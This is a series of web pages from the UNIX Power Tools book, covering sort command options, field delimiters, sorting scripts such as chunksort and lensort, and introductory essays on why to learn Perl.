1                     a                d             a
2                     b                c             b
3                     c                b             c
4                     d                a             d
5                     e           54321              e

rot rotates the text 90 degrees. tail -r turns the text "upside down" (last line in becomes the first line out, and so forth).

rot can also rotate the output of banner (43.11) to print down a page instead of across. By now, we hope you have an idea of what rot can do!

- JP, LM

Previous: 35.22 Straightening Jagged Columns | UNIX Power Tools | Next: 36. Sorting
35.22 Straightening Jagged Columns | Book Index | 36. Sorting
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 36] Sorting

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 35.23 Rotating Text Chapter 36 Next: 36.2 Sort Fields: How sort Sorts

36. Sorting

Contents:
Putting Things in Order
Sort Fields: How sort Sorts
Changing the Field Delimiter
Confusion with White Space Field Delimiters
Alphabetic and Numeric Sorting
Miscellaneous sort Hints
Sorting Multiline Entries
lensort: Sort Lines by Length
Sorting a List of People by Last Name

36.1 Putting Things in Order

Sorting a file under UNIX is easy, right? Of course it is, if all you want to do is sort a list of single words, or sort lines starting with the first character in the line. But if you want to do more than that, there's a lot more to the sort command than typing:

% sort filename

  • Article 36.2 describes how to select individual fields from a line for sort to operate on.

  • Article 36.3 describes how to change the field delimiter from "white space" to some other character.

  • Article 36.4 describes the kinds of problems that you can encounter if fields are delimited by white space.

  • Article 36.5 clarifies the distinctions between alphabetic and numeric sorting.

  • Article 36.6 gives miscellaneous hints about useful sort options.

But learning the mechanics of sort isn't the end of the story. Like most of the other things you'll find in the UNIX toolbox, sort is even more powerful when it's used with other programs. For example, you can:

  • Sort paragraphs, or other multiline entries (article 36.7).

  • Sort lines by how long they are (article 36.8).

  • Sort a list of names by last name, whether or not there's a middle name as well (article 36.9).

- TOR

Previous: 35.23 Rotating Text | UNIX Power Tools | Next: 36.2 Sort Fields: How sort Sorts
35.23 Rotating Text | Book Index | 36.2 Sort Fields: How sort Sorts
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 36] 36.2 Sort Fields: How sort Sorts

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 36.1 Putting Things in Order Chapter 36
Sorting 		Next: 36.3 Changing the Field Delimiter

36.2 Sort Fields: How sort Sorts

Unless you tell it otherwise, sort divides each line into fields at white space (blanks or tabs), and sorts the lines, by field, from left to right.

That is, it sorts on the basis of field 0 (leftmost); but when the leftmost fields are the same, it sorts on the basis of field 1; and so on. This is hard to put into words, but it's really just common sense. Suppose your office inventory manager created a file like this:

supplies     pencils  148
furniture    chairs   40
kitchen      knives   22
kitchen      forks    20
supplies     pens     236
furniture    couches  10
furniture    tables   7
supplies     paper    29

You'd want all the supplies sorted into categories and within each category, you'd want them sorted alphabetically:

% sort supplies
furniture    chairs   40
furniture    couches  10
furniture    tables   7
kitchen      forks    20
kitchen      knives   22
supplies     paper    29
supplies     pencils  148
supplies     pens     236

Of course, you don't always want to sort from left to right. The command line option +n tells sort to start sorting on field n; -n tells sort to stop sorting on field n. Remember (again) that sort counts fields from left to right, starting with 0. [1] Here's an example. We want to sort a list of telephone numbers of authors, presidents, and blues singers:

[1] I harp on this because I always get confused and have to look it up in the manual page.

Robert M Johnson      344-0909
Lyndon B Johnson      933-1423
Samuel H Johnson      754-2542
Michael K Loukides    112-2535
Jerry O Peek          267-2345
Timothy F O'Reilly    443-2434

According to standard "telephone book rules," we want these names sorted by last name, first name, and middle initial. We don't want the phone number to play a part in the sorting. So we want to start sorting on field 2, stop sorting on field 3, continue sorting on field 0, sort on field 1, and (just to make sure) stop sorting on field 2 (the last name). We can code this as follows:

% sort +2 -3 +0 -2 phonelist
Lyndon B Johnson      933-1423
Robert M Johnson      344-0909
Samuel H Johnson      754-2542
Michael K Loukides    112-2535
Timothy F O'Reilly    443-2434
Jerry O Peek          267-2345

A few notes:

  • We need the -3 option to prevent sort from sorting on the telephone number after sorting on the last name. Without -3, the "Robert Johnson" entry would appear before "Lyndon Johnson" because it has a lower phone number.

  • We don't need to state +1 explicitly. Unless you give an explicit "stop" field, +1 is implied after +0.

  • If two names are completely identical, we probably don't care what happens next. However, just to be sure that something unexpected doesn't take place, we end the option list with -2, which says, "After sorting on the middle initial, don't do any further sorting."

There are a couple of variations that are worth mentioning. You may never need them unless you're really serious about sorting data files, but it's good to keep them in the back of your mind. First, you can add any "collation" operations (discard blanks, numeric sort, etc.) to the end of a field specifier to describe how you want that field sorted. Using our previous example, let's say that if two names are identical, you want them sorted in numeric phone number order. The following command does the trick:

% sort +2 -3 +0 -2 +3n phonelist

The +3n option says "do a numeric sort on the fourth field." If you're worried about initial blanks (perhaps some of the phone numbers have area codes), use +3nb.

Second, you can specify individual columns within any field for sorting, using the notation +n.c, where n is a field number, and c is a character position within the field. Likewise, the notation -n.c says "stop sorting at the character before character c." If you're counting characters, be sure to use the -b (ignore white space) option - otherwise, it will be very difficult to figure out what character you're counting.

- ML

Previous: 36.1 Putting Things in Order | UNIX Power Tools | Next: 36.3 Changing the Field Delimiter
36.1 Putting Things in Order | Book Index | 36.3 Changing the Field Delimiter
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 36] 36.3 Changing the Field Delimiter

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 36.2 Sort Fields: How sort Sorts Chapter 36
Sorting 		Next: 36.4 Confusion with White Space Field Delimiters

36.3 Changing the Field Delimiter

Article 36.2 explained how sort separates a line of input into two or more fields using "white space" (spaces or tabs) as field delimiters. The -t option lets you change the field delimiter to some other character.

For example, if you wanted to sort the login names on your system by the login shell they use, you could issue a command like this:

/etc..wd

% sort -t: +6 /etc/passwd
root:SndEKOs9H7YLm:0:1:Operator:/:/bin/csh
sys:*:2:2::/:/bin/csh
jim:LjKwcUt8l6kZK:2391:1004:Jim O'Callahan:/u/jim:/bin/csh
   ...
bart:2DPD8rCOKBbUu:2665:1004:Bart Buus:/u/bart:/bin/tcsh
tap:xY7oeuJ8WxyGO:2943:1004:Tap Bronman:/u/tap:/bin/tcsh

The option -t: tells sort to use a colon as a field separator - so, in this example, field 0 is the login name, field 1 is the encoded password, field 2 is the user ID number, field 3 is the group ID number, and so on. By this numbering, the login shell is in the sixth field.

Remember that sort numbers fields starting with zero - this will save you lots of grief. Two consecutive colons indicate a "null" field that still must be counted.

- ML, TOR

Previous: 36.2 Sort Fields: How sort Sorts | UNIX Power Tools | Next: 36.4 Confusion with White Space Field Delimiters
36.2 Sort Fields: How sort Sorts | Book Index | 36.4 Confusion with White Space Field Delimiters
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 36] 36.4 Confusion with White Space Field Delimiters

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 36.3 Changing the Field Delimiter Chapter 36
Sorting 		Next: 36.5 Alphabetic and Numeric Sorting

36.4 Confusion with White Space Field Delimiters

One would hope that a simple task like sorting would be relatively unambiguous. Unfortunately, it isn't. The behavior of sort can be very puzzling. I'll try to straighten out some of the confusion - at the same time, I'll be leaving myself open to abuse by the real sort experts. I hope you appreciate this! Seriously, though: if we find any new wrinkles to the story, we'll add them in the next edition.

The trouble with sort is figuring out where one field ends and another begins. It's simplest if you can specify an explicit field delimiter (36.3). This makes it easy to tell where fields end and begin. But by default, sort uses white space characters (tabs and spaces) to separate fields, and the rules for interpreting white space field delimiters are unfortunately complicated. As I see them, they are:

  • The first white space character you encounter is a "field delimiter"; it marks the end of the old field and the beginning of the next field.

  • Any white space character following a field delimiter is part of the new field. That is - if you have two or more white space characters in a row, the first one is used as a field delimiter, and isn't sorted. The remainder are sorted, as part of the next field.

  • Every field has at least one non-whitespace character, unless you're at the end of the line. (That is: null fields only occur when you've reached the end of a line.)

  • All white space is not equal. Sorting is done according to the ASCII (51.3) collating sequence. Therefore, TABs are sorted before spaces.

Here is a silly but instructive example that demonstrates most of the hard cases. We'll sort the file sortme, which is:

apple   Fruit shipment
20      beta    beta test sites
 5              Something or other

All is not as it seems- cat -t -v (25.6, 25.7) shows that the file really looks like this:

^Iapple^IFruit shipment
20^Ibeta^Ibeta test sites
 5^I^ISomething or other

^I indicates a tab character. Before showing you what sort does with this file, let's break it into fields, being very careful to apply the rules above. In the table, we use quotes to show exactly where each field begins and ends:

Field | 0 | 1 | 2 | 3
Line |  |  |  |
1 | "^Iapple" | "Fruit" | "shipment" | null (no more data)
2 | "20" | "beta" | "beta" | "test"
3 | "5" | "^Isomething" | "or" | "other"

OK, now let's try some sort commands; I've added annotations on the right, showing what character the "sort" was based on. First, we'll sort on field zero - that is, the first field in each line:

% sort sortme sort on field zero
        apple   Fruit shipments field 0, first character: TAB
 5              Something or other field 0, first character: SPACE
20      beta    beta test sites field 0, first character: 2

As I noted earlier, a TAB precedes a space in the collating sequence. Everything is as expected. Now let's try another, this time sorting on field 1 (the second field):

% sort +1 sortme sort on field 1
 5              Something or other field 1, first character: TAB
        apple   Fruit shipments field 1, first character: F
20      beta    beta test sites field 1, first character: b

Again, the initial TAB causes "something or other" to appear first. "Fruit shipments" preceded "beta" because in the ASCII table, uppercase letters precede lowercase letters. Now, let's sort on the next field:

% sort +2 sortme sort on field 2
20      beta    beta test sites field 2, first character: b
 5              Something or other field 2, first character: o
        apple   Fruit shipments field 2, first character: s

No surprises here. And finally, sort on field 3 (the "fourth" field):

% sort +3 sortme sort on field 3
        apple   Fruit shipments field 3,  NULL
 5              Something or other field 3, first character: o
20      beta    beta test sites field 3, first character: t

The only surprise here is that the NULL field gets sorted first. That's really no surprise, though: NULL has the ASCII value zero, so we should expect it to come first.

OK, this was a silly example. But it was a difficult one; a casual understanding of what sort "ought to do" won't explain any of these cases. Which leads to another point. If someone tells you to sort some terrible mess of a data file, you could be heading for a nightmare. But often, you're not just sorting; you're also designing the data file you want to sort. If you get to design the format for the input data, a little bit of care will save you lots of headaches. If you have a choice, never allow TABs in the file. And be careful of leading spaces; a word with an extra space before it will be sorted before other words. Therefore, use an explicit delimiter between fields (like a colon), or use the -b option (and an explicit sort field), which tells sort to ignore initial white space.

- ML

Previous: 36.3 Changing the Field Delimiter | UNIX Power Tools | Next: 36.5 Alphabetic and Numeric Sorting
36.3 Changing the Field Delimiter | Book Index | 36.5 Alphabetic and Numeric Sorting
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 36] 36.5 Alphabetic and Numeric Sorting

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 36.4 Confusion with White Space Field Delimiters Chapter 36
Sorting 		Next: 36.6 Miscellaneous sort Hints

36.5 Alphabetic and Numeric Sorting

sort performs two fundamentally different kinds of sorting operations: alphabetic sorts and numeric sorts. An alphabetic sort is performed according to the traditional "dictionary order," using the ASCII (51.3) collating sequence. Uppercase letters come before lowercase letters (unless you specify the -f option, which "folds" uppercase and lowercase together), with numerals and punctuation interspersed.

This is all fairly trivial and common sense. However, it's worth belaboring the difference, because it's a frequent source of bugs in shell scripts. Say you sort the numbers 1 through 12. A numeric sort gives you these numbers "in order," just like you'd expect. An alphabetic sort gives you:

1
11
12
2
...

Of course, this is how you'd sort the numbers if you applied dictionary rules to the list. Numeric sorts can handle decimal numbers (for example, numbers like 123.44565778); they can't handle floating-point numbers (for example, 1.2344565778E+02).

What happens if you include alphabetic characters in a numeric sort? Although the results are predictable, I would prefer to say that they're "undefined." Including alphabetic characters in a numeric sort is a mistake, and there's no guarantee that different versions of sort will handle them the same way. As far as I know, there is no provision for sorting hexadecimal numbers.

One final note: Under System V, the numeric sort treats initial blanks as significant - so numbers with additional spaces before them will be sorted ahead of numbers without the additional spaces. This is an incredibly stupid misfeature. There is a workaround; use the -b (ignore leading blanks) and always specify a sort field. [2] That is: sort -nb +0 will do what you expect; sort -n won't.

[2] Stupid misfeature number 2: -b doesn't work unless you specify a sort field explicitly, with a +n option.

- ML

Previous: 36.4 Confusion with White Space Field Delimiters | UNIX Power Tools | Next: 36.6 Miscellaneous sort Hints
36.4 Confusion with White Space Field Delimiters | Book Index | 36.6 Miscellaneous sort Hints
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 36] 36.6 Miscellaneous sort Hints

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 36.5 Alphabetic and Numeric Sorting Chapter 36
Sorting 		Next: 36.7 Sorting Multiline Entries

36.6 Miscellaneous sort Hints

Here is a grab bag of useful, if not exactly interesting, sort features. The utility will actually do quite a bit, if you let it.

36.6.1 Dealing with Repeated Lines

sort -u sorts the file and eliminates duplicate lines. It's more powerful than uniq (35.20) because:

  • It sorts the file for you; uniq assumes that the file is already sorted, and won't do you any good if it isn't.

  • It is much more flexible. sort -u considers lines "unique" if the sort fields (36.2) you've selected match. So the lines don't even have to be (strictly speaking) unique; differences outside of the sort fields are ignored.

In return, there are a few things that uniq does that sort won't do - like print only those lines that aren't repeated, or count the number of times each line is repeated. But on the whole, I find sort -u more useful.

Here's one idea for using sort -u. When I was writing a manual, I often needed to make tables of error messages. The easiest way to do this was to grep the source code for printf statements; write some Emacs (32.1) macros to eliminate junk that I didn't care about; use sort -u to put the messages in order and get rid of duplicates; and write some more Emacs macros to format the error messages into a table. All I had to do was write the descriptions.

36.6.2 Ignoring Blanks

One important option (that I've mentioned a number of times) is -b; this tells sort to ignore extra white space at the beginning of each field. This is absolutely essential; otherwise, your sorts will have rather strange results. In my opinion, -b should be the default. But they didn't ask me.

Another thing to remember about -b: it only works if you explicitly specify which fields you want to sort. By itself, sort -b is the same as sort: white space characters are counted. I call this a bug, don't you?

36.6.3 Case-Insensitive Sorts

If you don't care about the difference between uppercase and lowercase letters, invoke sort with the -f (case-fold) option. This folds lowercase letters into uppercase. In other words, it treats all letters as uppercase.

36.6.4 Dictionary Order

The -d option tells sort to ignore all characters except for letters, digits, and white space. In particular, sort -d ignores punctuation.

36.6.5 Month Order

The -M option tells sort to treat the first three non-blank characters of a field as a three-letter month abbreviation, and to sort accordingly. That is, JAN comes before FEB, which comes before MAR. This option isn't available on all versions of UNIX.

36.6.6 Reverse Sort

The -r option tells sort to "reverse" the order of the sort; i.e., Z comes before A, 9 comes before 1, and so on. You'll find that this option is really useful. For example, imagine you have a program running in the background that records the number of free blocks in the filesystem at midnight each night. Your log file might look like this:

Jan 1 1992:  108 free blocks
Jan 2 1992:  308 free blocks
Jan 3 1992: 1232 free blocks
Jan 4 1992:   76 free blocks
...

The script below finds the smallest and largest number of free blocks in your log file:

head

#!/bin/sh
echo "Minimum free blocks"
sort -t: +1nb  logfile | head -1

echo "Maximum free blocks"
sort -t: +1nbr logfile | head -1

It's not profound, but it's an example of what you can do.

- ML

Previous: 36.5 Alphabetic and Numeric Sorting | UNIX Power Tools | Next: 36.7 Sorting Multiline Entries
36.5 Alphabetic and Numeric Sorting | Book Index | 36.7 Sorting Multiline Entries
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 36] 36.7 Sorting Multiline Entries

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 36.6 Miscellaneous sort Hints Chapter 36
Sorting 		Next: 36.8 lensort: Sort Lines by Length

36.7 Sorting Multiline Entries

There's one limitation to sort. It works a line at a time. If you want to sort a file with multiline entries, you're in tough shape. For example, let's say you have a list of addresses:

Doe, John and Jane
30 Anywhere St
Anytown, New York
10023
Buck, Jane and John
40 Anywhere St
Nowheresville, Alaska
90023

chunksort
How would you sort these? Certainly not with sort-whatever you do, you'll end up with a mish-mash of unmatched addresses, names, and zip codes. The chunksort script will do the trick. Here's the part of the script that does the real work:

# completely empty lines separate records.
gawk '{
    gsub(/\n/,"\1");
    print $0 "\1" }
' RS= $files |
sort $sortopts |
tr '\1' '\12'

The script starts with a lot of option processing that we don't show here - it's incredibly thorough, and allows you to use any sort options, except -o. It also adds a new -a option, which allows you to sort based on different lines of a multiline entry. Say you're sorting an address file, and the street address is on the second line of each entry. The command chunksort -a +3 would sort the file based on the zip codes. I'm not sure if this is really useful (you can't, for example, sort on the third field of the second line), but it's a nice bit of additional functionality.

The body of the script (after the option processing) is conceptually simple. It uses gawk (33.12) to collapse each multiline record into a single line, with the CTRL-a character to mark where the line breaks were. After this processing, a few addresses from a typical address list might look like this:

Doe, John and Jane^A30 Anywhere St^AAnytown, New York^A10023^A
Buck, Jane and John^A40 Anywhere St^ANowheresville, Alaska^A90023^A

Now that we've converted the original file into a list of one-line entries, we have something that sort can handle. So we just use sort, with whatever options were supplied on the command line. After sorting, tr (35.11) "unpacks" this single-line representation, restoring the file to its original form, by converting each CTRL-a back to a newline. Notice that the gawk script added an extra CTRL-a to the end of each output line - so tr outputs an extra newline, plus the newline from the gawk print command, to give a blank line between each entry. (Thanks to Greg Ubben for this improvement.)

There are lots of interesting variations on this script. You can substitute grep for the sort command, allowing you to search for multiline entries - for example, to look up addresses in an address file. This would require slightly different option processing, but the script would be essentially the same.

- JP, ML

Previous: 36.6 Miscellaneous sort Hints | UNIX Power Tools | Next: 36.8 lensort: Sort Lines by Length
36.6 Miscellaneous sort Hints | Book Index | 36.8 lensort: Sort Lines by Length
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 36] 36.8 lensort: Sort Lines by Length

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 36.7 Sorting Multiline Entries Chapter 36
Sorting 		Next: 36.9 Sorting a List of People by Last Name

36.8 lensort: Sort Lines by Length

A nice little script to sort lines from shortest to longest can be handy when you're writing and want to find your big words:

deroff uniq

% deroff -w report | uniq -d | lensort
a
an
  ...
deoxyribonucleic

Once I used it to sort a list of pathnames:

find

% find adir -type f -print | lensort
adir/.x
adir/.temp
   ...
adir/subdir/part1/somefile
adir/subdir/part1/a_test_case

The script uses awk (33.11) to print each line's length, followed by the original line. Next, sort sorts the lengths numerically (36.5). Then sed (34.24) strips off the lengths and the spaces - and prints the lines:

#! /bin/sh
awk 'BEGIN { FS=RS }
{ print length, $0 }' $* |
# Sort the lines numerically
sort +0n -1 |
# Remove the length and the space and print each line
sed 's/^[0-9][0-9]* //'

(Some awks require a semicolon after the first curly bracket - that is, { FS=RS };.)

- JP

Previous: 36.7 Sorting Multiline Entries | UNIX Power Tools | Next: 36.9 Sorting a List of People by Last Name
36.7 Sorting Multiline Entries | Book Index | 36.9 Sorting a List of People by Last Name
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 36] 36.9 Sorting a List of People by Last Name

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 36.8 lensort: Sort Lines by Length Chapter 36
Sorting 		Next: 37. Perl, a Pathologically Eclectic Rubbish Lister

36.9 Sorting a List of People by Last Name

It's hard to sort any old list of peoples' names because some people have one-word first and last names like Joe Smith, but other people have multi-part names like Mary Jo Appleton. This program sorts on the last word in each name. That won't take care of the way that names are used everywhere in the world, but it might give you some ideas...

The script reads from files or its standard input; it writes to standard output.

#! /bin/sh
# Print last field (last name), a TAB, then whole name:
awk '{print $NF "\t" $0}' $* |
# sort (by last name: the temporary first field)
sort |
# strip off first field and print the names:
cut -f2-

Article 16.21 uses a similar trick to find directories that have the same name.

- JP

Previous: 36.8 lensort: Sort Lines by Length | UNIX Power Tools | Next: 37. Perl, a Pathologically Eclectic Rubbish Lister
36.8 lensort: Sort Lines by Length | Book Index | 37. Perl, a Pathologically Eclectic Rubbish Lister
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 37] Perl, a Pathologically Eclectic Rubbish Lister

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 36.9 Sorting a List of People by Last Name Chapter 37 Next: 37.2 Why Learn Perl? #1

37. Perl, a Pathologically Eclectic Rubbish Lister

Contents:
What We Do and Don't Tell You About Perl
Why Learn Perl? #1
Three Great Virtues of a Programmer
Why Learn Perl? #2
And Now, Perl 5

37.1 What We Do and Don't Tell You About Perl

Unlike most of the chapters in this book, this one really doesn't say very much about what Perl does or how to use it. perl (the program) is quite easy to use; Perl (the language, for which perl is an interpreter) is also easy to learn, especially if you know some of the other tools that it is designed to replace. However, it is also quite large and complex - sufficiently so that even the quick reference treatment we gave to sed (34.24) would be difficult to fit in here.

perl5
Instead, we've contented ourselves with two "arguments" for using Perl, both of which will give you a sense of what the language contains and why its users are so passionate about it. The CD-ROM contains the latest Perl version, Perl 5, and you can read about the new benefits of that version (37.5).

Throughout the book, you'll find sprinkled a few Perl scripts.

If you are interested in learning more about Perl, try the Nutshell Handbooks Learning Perl and Programming Perl...or just start in, using the extensive manual page stored with perl itself on the Power Tools disc.

- TOR, JP

Previous: 36.9 Sorting a List of People by Last Name | UNIX Power Tools | Next: 37.2 Why Learn Perl? #1
36.9 Sorting a List of People by Last Name | Book Index | 37.2 Why Learn Perl? #1
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 37] 37.2 Why Learn Perl? #1

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 37.1 What We Do and Don't Tell You About Perl Chapter 37
Perl, a Pathologically Eclectic Rubbish Lister 		Next: 37.3 Three Great Virtues of a Programmer

37.2 Why Learn Perl? #1

Perl is a language for easily manipulating text, files, and processes. Perl provides a more concise and readable way to do many jobs that were formerly accomplished (with difficulty) by programming in the C language or one of the shells. While this book is primarily intended for users of the UNIX operating system, Perl runs on several other operating systems, and provides a portable model of computing across diverse architectures.

In the beginning, Perl was intended to be a data reduction language: a language for navigating among various files in an arbitrary fashion, scanning large amounts of text efficiently, invoking commands to obtain dynamic data, and printing easily formatted reports based on the information gleaned. And it does these things quite well - the pattern matching and textual manipulation capabilities of Perl often outperform dedicated C programs. But as Perl developed, it also became a convenient file manipulation language - that is, a language in which you can deal with the files themselves apart from their contents, moving them, renaming them, changing their permissions, and so on. And it also became a convenient process manipulation language, allowing you to create and destroy processes, to control the flow of data between them, to preprocess their input and postprocess their output, and to clean up after them when they blow up. And it became a networking language, with the ability to communicate to other processes on other machines via sockets.

These things can be done in other languages, such as C or one of the shells. But the solutions are difficult and ugly, because C can't easily do many of the things that a shell can do, and a shell can't do many of the things that C lets you do. Perl fills a rather large niche between them - providing you with those things that are easy to do in both languages (all in one convenient place), thus bridging the gap between shell programming and C programming.

On the other hand, knowledge of Perl can actually help you in learning the C language, if that is your goal. And if you already know C, then learning Perl will be easy, since the languages are structured quite similarly. Perl also shares features with many of the UNIX utilities that a shell would invoke, and this can ease your learning of both Perl and UNIX.

It has been stated that a language is not worth knowing unless it teaches you to think differently. Perl is the exception to that rule (for those who know UNIX), because much of Perl is derived in spirit from other portions of UNIX. To those who merely like Perl, it is the Practical Extraction and Report Language. To those who love it, it's the Pathologically Eclectic Rubbish Lister. And to the minimalists in the crowd who think there should only be one way to do something, Perl looks hopelessly redundant and derivative. But somehow, by a grave violation of the minimalistic UNIX toolbox philosophy, Perl has become the UNIX tool of choice for many tasks of small-to-medium complexity, and ends up fitting quite happily back into the toolbox. Perl can be said to be the toolsmith's workbench from which new tools are derived.

Perl is in many ways a simple language. The types and structures used by Perl are easy to use and understand, and you can often tell what a well-written piece of Perl code is doing just by glancing at it. You don't have to know any special incantations to compile a Perl program - you can just execute it like a shell script (45.3). You don't have to know everything there is to know about Perl before you can write useful programs.

Though simple in many ways, Perl is also a rich language, and there is much to be learned about it. Although it will take some time for you to absorb all that Perl can do, you will be glad that you have access to the extensive capabilities of Perl when the time comes that you need them. We noted above that Perl borrows many capabilities from the shells and C, but Perl also possesses a strict superset of sed and awk capabilities. There are, in fact, translators supplied with Perl to turn your old sed and awk (and nawk, and gawk) scripts into Perl scripts, so you can see how the features you may already be familiar with correspond to those of Perl.

There are other more mundane reasons why people like Perl. Many UNIX utilities have undocumented limitations: they don't like lines longer than n, where n is some mysterious power of two, or they blow up if you feed them binary data. These limitations are to some extent encouraged by the C language in which they are written. Perl, however, does not have these limitations. Your lines (and arrays) may grow as long as you like. Your subroutine recursion may go as deep as you like. Variable names can be as long as you like. Binary data will not cause problems. The hashed tables used by associative arrays expand as necessary to avoid degradation of performance. And you can keep them in database files called DBM files.

You might also like to learn Perl because it will allow you to write programs more securely. Through a dataflow tracing mechanism, Perl can determine which data is derived from insecure sources, and prevent dangerous operations before they happen. System administrators will particularly love this feature.

You might like Perl because it lets you develop programs quickly. As an interpreted script language, you get instant feedback when something isn't right. And there's a built-in symbolic debugger that understands any Perl expression because it's written in Perl (and because a running Perl script is itself good at executing random bits of Perl code).

People have been calling Perl a "system administration language" primarily because system administrators have been talking about it, but we think it has a much broader appeal.

[Perl is too complex (or should we say "complete") a language to describe in this chapter. There is an extensive manual page on the disc along with the software, but if what we've said here intrigues you, you should probably get Larry and Randal's book Programming Perl. As they say in the preface of the book (from which this article was taken): "Whether you are learning Perl because you are curious, or because your boss told you to, this handbook will lead you through both the basics and the intricacies. And although we don't intend to teach you how to program, the perceptive reader will be able to absorb some of the art, and a little of the science, of programming. You will also learn much about UNIX, and how to balance the benefits of the integrated-tool approach with the benefits of the toolbox approach. We will encourage you to develop the three great virtues of a programmer: laziness, impatience, and hubris. Along the way, we hope you find the book mildly amusing in some spots (and wildly amusing in others). And while we're at it, we firmly believe that learning Perl will increase the value of your resume."-TOR ]

- LW, RS from O'Reilly & Associates' Programming Perl

Previous: 37.1 What We Do and Don't Tell You About Perl | UNIX Power Tools | Next: 37.3 Three Great Virtues of a Programmer
37.1 What We Do and Don't Tell You About Perl | Book Index | 37.3 Three Great Virtues of a Programmer
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 37] 37.3 Three Great Virtues of a Programmer

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 37.2 Why Learn Perl? #1 Chapter 37
Perl, a Pathologically Eclectic Rubbish Lister 		Next: 37.4 Why Learn Perl? #2

37.3 Three Great Virtues of a Programmer

Laziness

The quality that makes you go to great effort to reduce overall energy expenditure. It makes you write labor-saving programs that other people will find useful, and document what you wrote so you don't have to answer so many questions about it. Hence, the first great virtue of a programmer. Also hence, this book.

Impatience

The anger you feel when the computer is being lazy. This makes you write programs that don't just react to your needs, but actually anticipate them. Or at least that pretend to. Hence, the second great virtue of a programmer.

Hubris

Excessive pride, the sort of thing Zeus zaps you for. Also the quality that makes you write (and maintain) programs that other people won't want to say bad things about. Hence, the third great virtue of a programmer.

- LW, RS

Previous: 37.2 Why Learn Perl? #1 | UNIX Power Tools | Next: 37.4 Why Learn Perl? #2
37.2 Why Learn Perl? #1 | Book Index | 37.4 Why Learn Perl? #2
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 37] 37.4 Why Learn Perl? #2

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 37.3 Three Great Virtues of a Programmer Chapter 37
Perl, a Pathologically Eclectic Rubbish Lister 		Next: 37.5 And Now, Perl 5

37.4 Why Learn Perl? #2

Donning my vestments as devil's advocate, let me start by saying that just because you learn something new, you shouldn't entirely forget the old. UNIX is a pluralistic environment in which many paths can lead to the solution, some more circuitously than others. Different problems can call for different solutions. If you force yourself to program in nothing but Perl, you may be short-changing yourself and taking the more tortuous route for some problems.

Now, that being said, I shall now reveal my true colors as Perl disciple and perhaps not infrequent evangelist. Perl is without question the greatest single program to appear in the UNIX community (although it runs elsewhere, too) in the last ten years. [Tom wrote this in 1992 or so, but I'd bet his opinion hasn't changed since then. ;-) -JP ] It makes programming fun again. It's simple enough to get a quick start on, but rich enough for some very complex tasks. I frequently learn new things about it despite having used it nearly daily since Larry Wall first released it to the general public around 1991. Heck, sometimes even Larry learns something new about Perl! The Artist is not always aware of the breadth and depth of his own work.

It is indeed the case that Perl is a strict superset of sed and awk, so much so that s2p and a2p translators exist for these utilities. You can do anything in Perl that you can do in the shell, although Perl is, strictly speaking, not a command interpreter. It's more of a programming language.

Most of us have written, or at least seen, shell scripts from hell. While often touted as one of UNIX's strengths because they're conglomerations of small, single-purpose tools, these shell scripts quickly grow so complex that they're cumbersome and hard to understand, modify, and maintain. After a certain point of complexity, the strength of the UNIX philosophy of having many programs that each does one thing well becomes its weakness.

The big problem with piping tools together is that there is only one pipe. This means that several different data streams have to get multiplexed into a single data stream, then demuxed on the other end of the pipe. This wastes processor time as well as human brain power.

For example, you might be shuffling a list of filenames through a pipe, but you also want to indicate that certain files have a particular attribute, and others don't. (For example, certain files are more than ten days old.) Typically, this information is encoded in the data stream by appending or prepending some special marker string to the filename. This means that both the pipe feeder and the pipe reader need to know about it. Not a pretty sight.

